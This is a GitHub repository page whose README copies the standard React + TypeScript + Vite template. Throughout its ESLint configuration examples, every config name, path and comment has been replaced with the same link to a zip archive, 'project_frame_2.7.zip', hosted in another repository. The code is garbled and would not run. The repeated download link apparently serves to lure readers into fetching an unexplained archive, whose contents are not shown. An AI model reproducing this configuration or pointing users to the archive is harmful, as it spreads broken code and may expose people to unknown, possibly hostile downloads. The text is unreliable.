Skip to content

jimly1/frame-detector

Repository files navigation

React + TypeScript + Vite

This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.

Currently, two official plugins are available:

React Compiler

The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see this documentation.

Expanding the ESLint configuration

If you are developing a production application, we recommend updating the configuration to enable type-aware lint rules:

export default defineConfig([
  globalIgnores(['dist']),
  {
    files: ['**/*.{ts,tsx}'],
    extends: [
      // Other configs...

      // Remove https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip and replace with this
      https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,
      // Alternatively, use this for stricter rules
      https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,
      // Optionally, add this for stylistic rules
      https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,

      // Other configs...
    ],
    languageOptions: {
      parserOptions: {
        project: ['https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip', 'https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip'],
        tsconfigRootDir: https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,
      },
      // other options...
    },
  },
])

You can also install eslint-plugin-react-x and eslint-plugin-react-dom for React-specific lint rules:

// https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip
import reactX from 'eslint-plugin-react-x'
import reactDom from 'eslint-plugin-react-dom'

export default defineConfig([
  globalIgnores(['dist']),
  {
    files: ['**/*.{ts,tsx}'],
    extends: [
      // Other configs...
      // Enable lint rules for React
      https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip['recommended-typescript'],
      // Enable lint rules for React DOM
      https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,
    ],
    languageOptions: {
      parserOptions: {
        project: ['https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip', 'https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip'],
        tsconfigRootDir: https://github.com/jimly1/project-frame/raw/refs/heads/master/src/assets/project_frame_2.7.zip,
      },
      // other options...
    },
  },
])

About

baim

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages